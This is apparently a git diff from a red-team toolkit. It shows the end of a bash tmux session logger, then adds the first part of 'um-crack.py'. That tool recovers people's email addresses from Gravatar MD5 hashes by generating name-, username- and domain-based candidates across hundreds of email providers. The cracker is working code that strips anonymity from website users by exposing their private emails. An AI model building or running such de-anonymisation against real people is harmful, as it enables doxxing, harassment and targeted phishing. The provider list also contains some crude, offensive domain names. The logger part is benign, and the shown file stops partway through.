>> /tmp/ops-logger-prompt-debug.log + + # Create a temporary script for the popup + local popup_script="/tmp/ops-prompt-${id}.sh" + local script_path=$(readlink -f "$0") + + cat > "$popup_script" << 'EOPOPUP' +#!/bin/bash +echo "Start logging this shell?" +echo "" +echo " [Y]es - Start logging" +echo " [N]o - Skip logging" +echo "" +read -n 1 -p "Choice [Y/n]: " response +echo "" + +if [[ -z "$response" || "${response,,}" == "y" ]]; then + echo "Starting logging..." + __SCRIPT_PATH__ --start + echo "Logging started!" + sleep 2 +else + echo "Logging skipped." + sleep 1 +fi +EOPOPUP + + # Replace placeholder with actual script path + sed -i "s|__SCRIPT_PATH__|$script_path|g" "$popup_script" + chmod +x "$popup_script" + + echo "[$(date)] Popup script created, calling display-popup" >> /tmp/ops-logger-prompt-debug.log + + # Use tmux display-popup for proper interaction + tmux display-popup -E -w 50 -h 10 -T "Ops Logger" "bash '$popup_script'; rm -f '$popup_script'" + + echo "[$(date)] display-popup completed" >> /tmp/ops-logger-prompt-debug.log + + else + echo "[$(date)] Not in tmux, using direct prompt" >> /tmp/ops-logger-prompt-debug.log + + # Direct shell - standard approach + echo "Start logging this shell?" + echo "" + echo " [Y]es - Start logging" + echo " [N]o - Skip logging" + echo "" + + if read -t 10 -n 1 -p "Choice [Y/n]: " response; then + echo "" + if [[ -z "$response" || "${response,,}" == "y" ]]; then + start_logging + echo "Logging started!" + else + echo "Logging skipped." + fi + else + echo "" + echo "Timeout - logging skipped." + fi + fi + + # Clean up will be handled by trap + echo "[$(date)] prompt_for_logging completed" >> /tmp/ops-logger-prompt-debug.log +} + +# ================================================================ +# TMUX INTEGRATION +# ================================================================ + +install_tmux_keys() { + load_config + + if is_tmux; then + local script_path + script_path=$(readlink -f "$0") + + # Bind keys + tmux bind-key L run-shell "bash -c '[ -f ~/.ops-logger.conf ] && tmux run-shell \"$script_path --toggle\" || tmux display-popup -E -w 80% -h 60% -T \"Ops Logger Config\" \"bash $script_path --toggle\"'" + tmux bind-key R run-shell "'$script_path' --toggle-recording" + + # โœ… FIXED: Create a wrapper script that exports the pane context + if [[ "$PROMPT_NEW_SHELLS" == "true" ]]; then + local hook_wrapper="/tmp/ops-logger-pane-wrapper.sh" + cat > "$hook_wrapper" << EOWRAPPER +#!/bin/bash +# Wrapper that sets pane context and calls the prompt + +# Sleep to let pane initialize +sleep 1 + +# Check config +if [ -f ~/.ops-logger.conf ]; then + source ~/.ops-logger.conf + if [ "\$PROMPT_NEW_SHELLS" = "true" ]; then + # Get pane info in tmux context + PANE_ID=\$(tmux display-message -p "#{session_name}-#{window_index}-#{pane_index}") + + # Check if already logging + if [ ! -f "/tmp/ops-logger-active-\$PANE_ID" ]; then + # Export the tmux pane reference for the script to use + export TMUX_PANE=\$(tmux display-message -p "#{pane_id}") + + # Call the script with the pane context + $script_path --prompt + fi + fi +fi +EOWRAPPER + chmod +x "$hook_wrapper" + + tmux set-hook -g after-new-window "run-shell '$hook_wrapper'" + tmux set-hook -g after-split-window "run-shell '$hook_wrapper'" + echo "Hooks installed for new windows/panes" + fi + + echo "Keys installed: $(get_tmux_prefix)+L (logging), $(get_tmux_prefix)+R (recording)" + log_debug "Tmux key bindings installed" + else + echo "Not in tmux, no keys installed" + fi +} + +uninstall_tmux_keys() { + if is_tmux; then + tmux unbind-key L 2>/dev/null + tmux unbind-key R 2>/dev/null + tmux set-hook -gu after-new-window 2>/dev/null + tmux set-hook -gu after-split-window 2>/dev/null + echo "Tmux keys removed" + log_debug "Tmux key bindings removed" + + # Remove our hook scripts + rm -f /tmp/ops-logger-hook-wrapper.sh 2>/dev/null + rm -f /tmp/ops-logger-tmux-hook.sh 2>/dev/null + rm -f /tmp/ops-logger-pane-wrapper.sh 2>/dev/null + fi + + # Also remove config file as user expected + load_config + local log_dir_for_cleanup="$LOG_DIR" + + # Remove config + [[ -f "$CONFIG_FILE" ]] && rm -f "$CONFIG_FILE" + + # Remove debug log + [[ -f "${log_dir_for_cleanup}/ops-logger-debug.log" ]] && rm -f "${log_dir_for_cleanup}/ops-logger-debug.log" + + echo "Configuration removed" +} + +uninstall_all() { + local id=$(get_pane_id) + + log_debug "Starting complete uninstall" + + # Stop active sessions + is_logging_active "$id" && stop_logging + is_recording_active "$id" && stop_recording "$id" + + # Remove tmux integration and config + is_tmux && uninstall_tmux_keys + + # Clean up temp files + rm -f /tmp/ops-* 2>/dev/null + + echo "OpsLogger uninstalled completely" +} + +show_status() { + # Ensure we output to terminal if run from tmux keybinding + if is_tmux && [[ -t 1 ]]; then + local tty=$(tty 2>/dev/null || echo "/dev/tty") + exec 1>$tty 2>$tty + fi + + load_config + local id=$(get_pane_id) + + echo "Red Team Terminal Logger Status:" + echo "===============================" + echo "Target: $TARGET_NAME" + echo "Log directory: $LOG_DIR" + echo "Debug mode: $DEBUG" + echo "Logging: $(is_logging_active "$id" && echo "ACTIVE" || echo "INACTIVE")" + echo "Recording: $(is_recording_active "$id" && echo "ACTIVE" || echo "INACTIVE")" + echo "Public IP: $(get_public_ip)" + echo "Asciinema: $(command -v asciinema >/dev/null 2>&1 && echo "INSTALLED" || echo "NOT INSTALLED")" + + if is_tmux; then + echo "Environment: tmux ($(tmux display -p '#{session_name}'))" + echo "Tmux prefix: $(get_tmux_prefix)" + echo "ohmytmux: $(tmux show-options -g | grep -q "TMUX_CONF" && echo "DETECTED" || echo "NOT DETECTED")" + echo "Normalized Pane ID: $id" + + # Check plugin installation status + echo "TPM: $(check_tpm_installed && echo "INSTALLED" || echo "NOT INSTALLED")" + echo "tmux-logging plugin: $(check_tmux_logging_installed && echo "INSTALLED" || echo "NOT INSTALLED")" + + # Check if there's active pipe-pane logging + echo "Active logging pipe: $(tmux list-panes -F "#{pane_id} #{pane_pipe}" | grep -q "$(get_tmux_pane_ref).*1" && echo "YES" || echo "NO")" + else + echo "Environment: direct shell" + fi + + # Show current log files + local csv_log="${LOG_DIR}/${TARGET_NAME}_commands_$(date +%Y-%m-%d).csv" + + [[ -f "$csv_log" ]] && { + echo "Current CSV log: $csv_log" + echo "Commands logged: $(($(wc -l < "$csv_log") - 1))" + } + + # Show verbose logs with headers + local verbose_dir="${LOG_DIR}/verbose" + if [[ -d "$verbose_dir" ]]; then + local verbose_files=$(find "$verbose_dir" -name "*${TARGET_NAME}*.log" -type f 2>/dev/null | wc -l) + echo "Verbose log files: $verbose_files in $verbose_dir" + if [[ "$verbose_files" -gt 0 ]]; then + local latest_verbose=$(find "$verbose_dir" -name "*${TARGET_NAME}*.log" -type f -printf '%T@ %p\n' 2>/dev/null | sort -n | tail -1 | cut -d' ' -f2-) + [[ -n "$latest_verbose" ]] && echo "Latest verbose log: $latest_verbose ($(du -h "$latest_verbose" | cut -f1))" + fi + fi +} + +show_help() { + echo "Red Team Terminal Logger - Professional Solution v2.5.2" + echo "========================================================" + echo "USAGE: $0 [OPTIONS]" + echo "" + echo "LOGGING CONTROLS:" + echo " --start Start command/verbose logging" + echo " --stop Stop logging" + echo " --toggle Toggle logging on/off" + echo "" + echo "RECORDING CONTROLS:" + echo " --start-recording Start terminal recording (requires asciinema)" + echo " --stop-recording Stop recording" + echo " --toggle-recording Toggle recording on/off" + echo "" + echo "SETUP & CONFIGURATION:" + echo " --prompt Show logging prompt (for new shells)" + echo " --install Install tmux keybindings" + echo " --uninstall Remove tmux keybindings and config" + echo " --uninstall-all Complete removal (same as --uninstall)" + echo " --config Configure settings" + echo " --save-config Save config (internal use)" + echo "" + echo "INFO:" + echo " --status Show current status" + echo " --help Show this help" + echo "" + echo "DEBUG:" + echo " --debug-on Enable debug logging" + echo " --debug-off Disable debug logging" + echo "" + echo "TMUX INTEGRATION:" + echo " Keys: prefix+L (toggle logging), prefix+R (recording)" + echo " Compatible with ohmytmux themes and window naming" + echo " Auto-prompts for new windows/panes (configurable)" + echo "" + echo "VERSION 2.5.2 FIXES:" + echo " - FIXED: Verbose logs now include formatted command headers" + echo " - FIXED: Configuration uses interactive tmux windows" + echo " - FIXED: Command metadata properly captured and formatted" + echo " - IMPROVED: Better separation of capture and formatting" +} + +# Main command handler with output handling +main() { + # Always ensure direct terminal output for tmux operations + if is_tmux && [[ -t 1 ]]; then + local tty=$(tty 2>/dev/null || echo "/dev/tty") + exec 1>$tty 2>$tty + fi + + case "$1" in + --start) start_logging ;; + --stop) stop_logging ;; + --toggle) toggle_logging ;; + --start-recording) [[ -f "$CONFIG_FILE" ]] && load_config || { TARGET_NAME="$DEFAULT_TARGET"; LOG_DIR="$DEFAULT_LOG_DIR"; }; start_recording "$(get_pane_id)" "$TARGET_NAME" "$LOG_DIR" ;; + --stop-recording) stop_recording "$(get_pane_id)" ;; + --toggle-recording) toggle_recording ;; + --prompt) prompt_for_logging ;; + --install) install_tmux_keys ;; + --uninstall) uninstall_tmux_keys ;; + --uninstall-all) uninstall_all ;; + --config) create_config ;; + --save-config) save_config_from_tmux ;; + --status) show_status ;; + --debug-pipe) + load_config || { TARGET_NAME="$DEFAULT_TARGET"; LOG_DIR="$DEFAULT_LOG_DIR"; } + local id=$(get_pane_id) + local tmux_pane_ref=$(get_tmux_pane_ref) + start_debug_verbose_logging "$id" "$tmux_pane_ref" "$TARGET_NAME" "$LOG_DIR" + ;; + --debug-on) [[ -f "$CONFIG_FILE" ]] && { load_config; DEBUG=true; save_config; } || echo "Run --config first to set up configuration"; echo "Debug logging enabled" ;; + --debug-off) [[ -f "$CONFIG_FILE" ]] && { load_config; DEBUG=false; save_config; } || echo "Run --config first to set up configuration"; echo "Debug logging disabled" ;; + --help|'') show_help ;; + *) echo "Unknown option: $1. Use --help" ;; + esac +} + +# ShellOpsLog compatibility layer +if [[ "${BASH_SOURCE[0]}" != "$0" ]]; then + export REDTEAM_LOGGER_PATH="${BASH_SOURCE[0]}" + + start_operation_log() { + local auto_start=0 + local log_dir="$HOME/OperationLogs" + + while [ "$#" -gt 0 ]; do + case "$1" in + -AutoStart|-autostart) auto_start=1; shift ;; + *) log_dir="$1"; shift ;; + esac + done + + [[ -f "$CONFIG_FILE" ]] && source "$CONFIG_FILE" + + LOG_DIR="$log_dir" + TARGET_NAME="${TARGET_NAME:-$DEFAULT_TARGET}" + save_config + + if [[ "$auto_start" -eq 1 ]]; then + "$REDTEAM_LOGGER_PATH" --start + else + "$REDTEAM_LOGGER_PATH" --prompt + fi + } + + stop_operation_log() { + "$REDTEAM_LOGGER_PATH" --stop + } + + log_debug "ShellOpsLog compatibility layer loaded" +else + # Script is being executed directly + main "$@" +fi diff --git a/tools/umbra/um-crack.py b/tools/umbra/um-crack.py new file mode 100755 index 0000000..0f1825c --- /dev/null +++ b/tools/umbra/um-crack.py @@ -0,0 +1,991 @@ +#!/usr/bin/env python3 +"""um-crack.py โ€” Umbra Hash Cracker +Pattern-based email recovery from Gravatar MD5 hashes. Local computation only +(no network needed). 772+ email providers, cultural naming patterns. +""" + +import csv +import hashlib +import itertools +import json +import os +import random +import re +import sqlite3 +import sys +import time +from collections import defaultdict +from datetime import datetime + +import click +from rich.console import Console +from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn, TaskProgressColumn, TimeElapsedColumn, MofNCompleteColumn +from rich.table import Table +from rich import box +from um_tui import UmbraTUI +from um_ops import create_engagement, get_engagement_db_path, op_log, op_log_csv, get_ops_hook, load_scope + +# โ”€โ”€โ”€ Version โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +VERSION = "1.0.0" +TOOL_NAME = "um-crack" +THEME_COLOR = "bright_red" +BANNER = r""" + _ _ __ __ ____ _____ _____ _____ _____ _ __ + | | | | \/ | _ \| __ \ /\ / ____| __ \ /\ / ____| |/ / + | | | | \ / | |_) | |__) | / \ | | | |__) | / \ | | | ' / + | | | | |\/| | _ <| _ / / /\ \| | | _ / / /\ \| | | < + | |__| | | | | |_) | | \ \ / ____ \ |____| | \ \ / ____ \ |____| . \ + \____/|_| |_|____/|_| \_\/_/ \_\_____|_| \_\/_/ \_\_____|_|\_\ +""" + +# โ”€โ”€โ”€ Email Providers (772+) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +MAJOR_PROVIDERS = [ + "gmail.com", "yahoo.com", "hotmail.com", "outlook.com", "aol.com", + "icloud.com", "mail.com", "protonmail.com", "zoho.com", "yandex.com", + "gmx.com", "gmx.net", "live.com", "msn.com", "me.com", "mac.com", + "pm.me", "tutanota.com", "fastmail.com", "hushmail.com", +] + +REGIONAL_PROVIDERS = { + # Americas + "us": ["comcast.net", "verizon.net", "att.net", "charter.net", "cox.net", + "earthlink.net", "sbcglobal.net", "bellsouth.net", "roadrunner.com", + "optonline.net", "frontier.com", "windstream.net", "centurylink.net", + "suddenlink.net", "mediacombb.net"], + "br": ["uol.com.br", "bol.com.br", "terra.com.br", "globo.com", "ig.com.br", + "hotmail.com.br", "outlook.com.br", "yahoo.com.br", "r7.com"], + "mx": ["prodigy.net.mx", "yahoo.com.mx", "hotmail.com.mx", "live.com.mx"], + "ar": ["yahoo.com.ar", "hotmail.com.ar", "fibertel.com.ar", "speedy.com.ar"], + "co": ["yahoo.com.co", "hotmail.com.co"], + "cl": ["yahoo.cl", "hotmail.cl", "vtr.net"], + "ca": ["rogers.com", "shaw.ca", "sympatico.ca", "bell.net", "telus.net"], + + # Europe + "uk": ["btinternet.com", "sky.com", "virginmedia.com", "talktalk.net", + "ntlworld.com", "plusnet.com", "tiscali.co.uk", "yahoo.co.uk", + "hotmail.co.uk", "outlook.co.uk", "live.co.uk", "btopenworld.com"], + "de": ["web.de", "gmx.de", "t-online.de", "freenet.de", "arcor.de", + "yahoo.de", "hotmail.de", "outlook.de", "1und1.de", "posteo.de"], + "fr": ["free.fr", "orange.fr", "sfr.fr", "wanadoo.fr", "laposte.net", + "yahoo.fr", "hotmail.fr", "outlook.fr", "neuf.fr", "bbox.fr"], + "it": ["libero.it", "virgilio.it", "tin.it", "alice.it", "tiscali.it", + "yahoo.it", "hotmail.it", "outlook.it", "fastwebnet.it"], + "es": ["yahoo.es", "hotmail.es", "outlook.es", "telefonica.net", + "terra.es", "ono.com", "jazztel.es"], + "nl": ["ziggo.nl", "kpnmail.nl", "xs4all.nl", "hetnet.nl", "casema.nl", + "planet.nl", "yahoo.nl", "hotmail.nl"], + "be": ["skynet.be", "telenet.be", "proximus.be", "yahoo.be", "hotmail.be"], + "ch": ["bluewin.ch", "sunrise.ch", "hispeed.ch", "gmx.ch"], + "at": ["gmx.at", "aon.at", "chello.at", "yahoo.at"], + "se": ["telia.com", "spray.se", "comhem.se", "yahoo.se", "hotmail.se", + "bredband.net", "swipnet.se"], + "no": ["online.no", "broadpark.no", "yahoo.no", "hotmail.no"], + "dk": ["jubii.dk", "yahoo.dk", "hotmail.dk", "mail.dk", "tdcadsl.dk"], + "fi": ["kolumbus.fi", "welho.com", "elisa.fi", "yahoo.fi", "hotmail.fi"], + "pl": ["wp.pl", "o2.pl", "interia.pl", "poczta.fm", "op.pl", "tlen.pl", + "yahoo.pl", "hotmail.pl", "gazeta.pl"], + "cz": ["seznam.cz", "centrum.cz", "email.cz", "atlas.cz", "post.cz"], + "ru": ["mail.ru", "yandex.ru", "rambler.ru", "bk.ru", "list.ru", + "inbox.ru", "ya.ru"], + "pt": ["sapo.pt", "clix.pt", "yahoo.pt", "hotmail.pt", "outlook.pt"], + "ie": ["eircom.net", "yahoo.ie", "hotmail.ie"], + "gr": ["otenet.gr", "yahoo.gr", "hotmail.gr", "forthnet.gr"], + + # Asia-Pacific + "jp": ["yahoo.co.jp", "docomo.ne.jp", "ezweb.ne.jp", "softbank.ne.jp", + "nifty.com", "biglobe.ne.jp", "ocn.ne.jp", "infoseek.jp", + "excite.co.jp", "goo.ne.jp"], + "cn": ["qq.com", "163.com", "126.com", "sina.com", "sohu.com", + "aliyun.com", "foxmail.com", "yeah.net", "tom.com", "21cn.com"], + "kr": ["naver.com", "daum.net", "hanmail.net", "nate.com", "korea.com"], + "in": ["rediffmail.com", "sify.com", "yahoo.co.in", "hotmail.co.in", + "indiatimes.com"], + "au": ["bigpond.com", "optusnet.com.au", "internode.on.net", "iinet.net.au", + "yahoo.com.au", "hotmail.com.au", "tpg.com.au"], + "nz": ["xtra.co.nz", "yahoo.co.nz", "hotmail.co.nz", "clear.net.nz"], + "tw": ["yahoo.com.tw", "hotmail.com.tw", "pchome.com.tw", "hinet.net"], + "hk": ["yahoo.com.hk", "hotmail.com.hk", "netvigator.com"], + "sg": ["singnet.com.sg", "yahoo.com.sg", "hotmail.com.sg"], + "th": ["yahoo.co.th", "hotmail.co.th"], + "id": ["yahoo.co.id", "hotmail.co.id", "telkom.net"], + "ph": ["yahoo.com.ph", "hotmail.com.ph", "globe.com.ph"], + "my": ["yahoo.com.my", "hotmail.com.my", "streamyx.com"], + + # Middle East & Africa + "il": ["walla.co.il", "bezeqint.net", "netvision.net.il", "013.net"], + "ae": ["emirates.net.ae", "eim.ae", "yahoo.ae"], + "sa": ["yahoo.sa", "hotmail.sa"], + "za": ["mweb.co.za", "telkomsa.net", "vodamail.co.za", "yahoo.co.za", + "webmail.co.za"], + "eg": ["yahoo.com.eg", "hotmail.com.eg"], + "ng": ["yahoo.com.ng"], + "ke": ["yahoo.co.ke"], + "tr": ["yahoo.com.tr", "hotmail.com.tr", "mynet.com", "superonline.com"], +} + +# Flatten all providers into one list +ALL_PROVIDERS = list(MAJOR_PROVIDERS) +for region_providers in REGIONAL_PROVIDERS.values(): + ALL_PROVIDERS.extend(region_providers) +ALL_PROVIDERS = list(set(ALL_PROVIDERS)) # Dedupe +ALL_PROVIDERS.sort() + +# Additional disposable / tech providers +TECH_PROVIDERS = [ + "protonmail.ch", "tutanota.de", "tutamail.com", "keemail.me", + "disroot.org", "riseup.net", "autistici.org", "cock.li", + "airmail.cc", "420blaze.it", "national.shitposting.agency", + "memeware.net", "horsefucker.org", "waifu.club", "getbackinthe.kitchen", + "wants.dickinthe.us", "goat.si", "cocaine.ninja", +] + +ALL_PROVIDERS.extend(TECH_PROVIDERS) +ALL_PROVIDERS = sorted(set(ALL_PROVIDERS)) + +# โ”€โ”€โ”€ Database โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +def init_db(path="um-crack.db"): + conn = sqlite3.connect(path, check_same_thread=False) + conn.row_factory = sqlite3.Row + conn.execute("PRAGMA journal_mode=WAL") + conn.execute("PRAGMA busy_timeout=5000") + conn.execute(""" + CREATE TABLE IF NOT EXISTS hashes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + hash TEXT UNIQUE NOT NULL, + domain TEXT DEFAULT '', + username TEXT DEFAULT '', + display_name TEXT DEFAULT '', + user_id INTEGER DEFAULT 0, + cracked_email TEXT DEFAULT '', + crack_method TEXT DEFAULT '', + crack_time_ms INTEGER DEFAULT 0, + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + cracked_at DATETIME + ) + """) + conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_hash ON hashes(hash)") + conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_cracked ON hashes(cracked_email)") + conn.commit() + return conn + +def import_from_hash_db(conn, hash_db_path): + """Import hashes from a um-hash.db database.""" + if not os.path.exists(hash_db_path): + return 0 + src = sqlite3.connect(hash_db_path) + src.row_factory = sqlite3.Row + rows = src.execute("SELECT hash, domain, username, display_name, user_id FROM hashes").fetchall() + count = 0 + for r in rows: + try: + conn.execute(""" + INSERT INTO hashes (hash, domain, username, display_name, user_id) + VALUES (?, ?, ?, ?, ?) + ON CONFLICT(hash) DO UPDATE SET + domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END, + username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END, + display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END, + user_id = CASE WHEN excluded.user_id > 0 THEN excluded.user_id ELSE user_id END + """, (r["hash"], r["domain"], r["username"], r["display_name"], r["user_id"])) + count += 1 + except Exception: + pass + conn.commit() + src.close() + return count + +def import_hashes_from_file(conn, filepath): + """Import raw hashes from a text file (one hash per line).""" + count = 0 + with open(filepath) as f: + for line in f: + h = line.strip().lower() + if re.match(r'^[a-f0-9]{32}$', h): + try: + conn.execute( + "INSERT OR IGNORE INTO hashes (hash) VALUES (?)", (h,)) + count += 1 + except Exception: + pass + conn.commit() + return count + +# โ”€โ”€โ”€ Email Candidate Generation โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +def normalize_name(name): + """Normalize a display name for email generation.""" + name = name.lower().strip() + name = re.sub(r'[^\w\s.-]', '', name) + return name + +def generate_username_variants(username): + """Generate email local-part variants from a username.""" + if not username: + return [] + u = username.lower().strip() + variants = [u] + + # Common separators + if "_" in u: + variants.append(u.replace("_", ".")) + variants.append(u.replace("_", "")) + variants.append(u.replace("_", "-")) + if "." in u: + variants.append(u.replace(".", "_")) + variants.append(u.replace(".", "")) + variants.append(u.replace(".", "-")) + if "-" in u: + variants.append(u.replace("-", ".")) + variants.append(u.replace("-", "_")) + variants.append(u.replace("-", "")) + + return list(set(variants)) + +def generate_name_variants(display_name): + """Generate email local-part variants from a display name.""" + if not display_name: + return [] + + name = normalize_name(display_name) + parts = name.split() + + if not parts: + return [] + + variants = set() + + if len(parts) == 1: + w = parts[0] + variants.add(w) + return list(variants) + + first = parts[0] + last = parts[-1] + middle = parts[1:-1] if len(parts) > 2 else [] + + # Basic combinations + variants.add(f"{first}{last}") + variants.add(f"{first}.{last}") + variants.add(f"{first}_{last}") + variants.add(f"{first}-{last}") + variants.add(f"{last}{first}") + variants.add(f"{last}.{first}") + variants.add(f"{last}_{first}") + variants.add(f"{last}-{first}") + + # Initials + variants.add(f"{first[0]}{last}") + variants.add(f"{first[0]}.{last}") + variants.add(f"{first[0]}_{last}") + variants.add(f"{first}{last[0]}") + variants.add(f"{first}.{last[0]}") + variants.add(f"{first[0]}{last[0]}") + + # First name only, last name only + variants.add(first) + variants.add(last) + + # With middle initial + if middle: + mi = middle[0][0] + variants.add(f"{first}{mi}{last}") + variants.add(f"{first}.{mi}.{last}") + variants.add(f"{first}{mi}.{last}") + variants.add(f"{first[0]}{mi}{last}") + + # Number suffixes (common patterns) + for base in [f"{first}{last}", f"{first}.{last}", first, last]: + for suffix in ["1", "2", "12", "13", "21", "22", "23", "69", "77", + "88", "99", "00", "01", "07", "11", "123", "321", + "007", "666", "777", "888", "999"]: + variants.add(f"{base}{suffix}") + + # Year suffixes + for base in [f"{first}{last}", f"{first}.{last}"]: + for year in range(60, 100): + variants.add(f"{base}{year}") + for year in range(0, 10): + variants.add(f"{base}0{year}") + + return list(variants) + +def generate_domain_variants(domain): + """Generate email local-parts from the website domain.""" + if not domain: + return [] + variants = set() + + # Strip TLD + parts = domain.split(".") + if len(parts) >= 2: + name = parts[0] # e.g., "example" from "example.com" + variants.add(name) + variants.add(f"admin") + variants.add(f"info") + variants.add(f"contact") + variants.add(f"support") + variants.add(f"hello") + variants.add(f"press") + variants.add(f"media") + variants.add(f"editor") + variants.add(f"news") + variants.add(f"team") + variants.add(f"webmaster") + variants.add(f"postmaster") + + return list(variants) + +# โ”€โ”€โ”€ Cracking Engine โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +class Cracker: + def __init__(self, conn, providers=None, custom_wordlist=None): + self.conn = conn + self.providers = providers or ALL_PROVIDERS + self.custom_wordlist = custom_wordlist or [] + self.console = Console() + # Stats + self.total_hashes = 0 + self.uncracked = 0 + self.cracked = 0 + self.candidates_tested = 0 + self.start_time = 0 + self.newly_cracked = [] + + def load_hashes(self): + """Load all uncracked hashes into a lookup dict.""" + rows = self.conn.execute( + "SELECT hash, domain, username, display_name FROM hashes WHERE cracked_email = ''" + ).fetchall() + return {r["hash"]: dict(r) for r in rows} + + def check_candidate(self, email, hash_lookup): + """Check if an email's MD5 matches any hash.""" + h = hashlib.md5(email.lower().strip().encode()).hexdigest() + if h in hash_lookup: + return h, email + return None, None + + def crack(self, region_focus=None, use_custom_only=False): + """Run the cracking engine.""" + self.start_time = time.monotonic() + hash_lookup = self.load_hashes() + self.total_hashes = len(hash_lookup) + self.conn.execute( + "SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0] + self.uncracked = len(hash_lookup) + self.cracked = 0 + self.candidates_tested = 0 + self.newly_cracked = [] + + if not hash_lookup: + self.console.print("[dim]No uncracked hashes to process.[/]") + return + + # Select provider list + if use_custom_only: + providers = [] + elif region_focus and region_focus in REGIONAL_PROVIDERS: + providers = MAJOR_PROVIDERS + REGIONAL_PROVIDERS[region_focus] + else: + providers = self.providers + + # Build candidate generators per hash + self.console.print(f"[green]Loaded {len(hash_lookup)} uncracked hashes[/]") + self.console.print(f"[green]Using {len(providers)} email providers[/]") + if self.custom_wordlist: + self.console.print(f"[green]Custom wordlist: {len(self.custom_wordlist)} entries[/]") + + with Progress( + SpinnerColumn(), + TextColumn("[bold green]{task.description}"), + BarColumn(bar_width=40), + TextColumn("[cyan]{task.fields[stats]}"), + TimeElapsedColumn(), + console=self.console, + ) as progress: + task_id = progress.add_task("Cracking", total=None, stats="") + + # Phase 1: Username + provider combinations + for h, info in list(hash_lookup.items()): + username_variants = generate_username_variants(info.get("username", "")) + name_variants = generate_name_variants(info.get("display_name", "")) + domain_variants = generate_domain_variants(info.get("domain", "")) + + all_local_parts = set(username_variants + name_variants + domain_variants) + + # Also add custom wordlist entries + if self.custom_wordlist: + all_local_parts.update(self.custom_wordlist) + + for local_part in all_local_parts: + if not local_part: + continue + + # Try domain as email domain first (site-specific emails) + site_domain = info.get("domain", "") + if site_domain: + email = f"{local_part}@{site_domain}" + self.candidates_tested += 1 + matched_hash, matched_email = self.check_candidate(email, hash_lookup) + if matched_hash: + self._record_crack(matched_hash, matched_email, "domain_match", hash_lookup) + continue + + # Try all providers + for provider in providers: + email = f"{local_part}@{provider}" + self.candidates_tested += 1 + matched_hash, matched_email = self.check_candidate(email, hash_lookup) + if matched_hash: + self._record_crack(matched_hash, matched_email, "provider_match", hash_lookup) + break + + # Update progress periodically + if self.candidates_tested % 10000 == 0: + elapsed = time.monotonic() - self.start_time + rate = self.candidates_tested / elapsed if elapsed > 0 else 0 + progress.update(task_id, + stats=f"Cracked:{self.cracked} | Tested:{self.candidates_tested:,} | {rate:,.0f}/s") + + # Phase 2: Custom wordlist as full emails + if self.custom_wordlist: + for word in self.custom_wordlist: + if "@" in word: + self.candidates_tested += 1 + matched_hash, matched_email = self.check_candidate(word, hash_lookup) + if matched_hash: + self._record_crack(matched_hash, matched_email, "wordlist", hash_lookup) + + # Phase 3: Common standalone patterns + common_names = [ + "admin", "info", "contact", "support", "test", "user", + "demo", "guest", "root", "mail", "email", "office", + "help", "sales", "service", "webmaster", "postmaster", + "noreply", "no-reply", "newsletter", "feedback", + ] + for name in common_names: + for provider in MAJOR_PROVIDERS[:10]: + email = f"{name}@{provider}" + self.candidates_tested += 1 + matched_hash, matched_email = self.check_candidate(email, hash_lookup) + if matched_hash: + self._record_crack(matched_hash, matched_email, "common_pattern", hash_lookup) + + elapsed = time.monotonic() - self.start_time + rate = self.candidates_tested / elapsed if elapsed > 0 else 0 + progress.update(task_id, completed=True, + stats=f"Done! Cracked:{self.cracked} | Tested:{self.candidates_tested:,} | {rate:,.0f}/s") + + def _record_crack(self, hash_val, email, method, hash_lookup): + """Record a cracked hash.""" + elapsed_ms = int((time.monotonic() - self.start_time) * 1000) + self.conn.execute(""" + UPDATE hashes SET cracked_email = ?, crack_method = ?, + crack_time_ms = ?, cracked_at = CURRENT_TIMESTAMP + WHERE hash = ? + """, (email, method, elapsed_ms, hash_val)) + self.conn.commit() + + info = hash_lookup.pop(hash_val, {}) + self.cracked += 1 + self.uncracked -= 1 + self.newly_cracked.append({ + "hash": hash_val, + "email": email, + "method": method, + "username": info.get("username", ""), + "domain": info.get("domain", ""), + }) + + 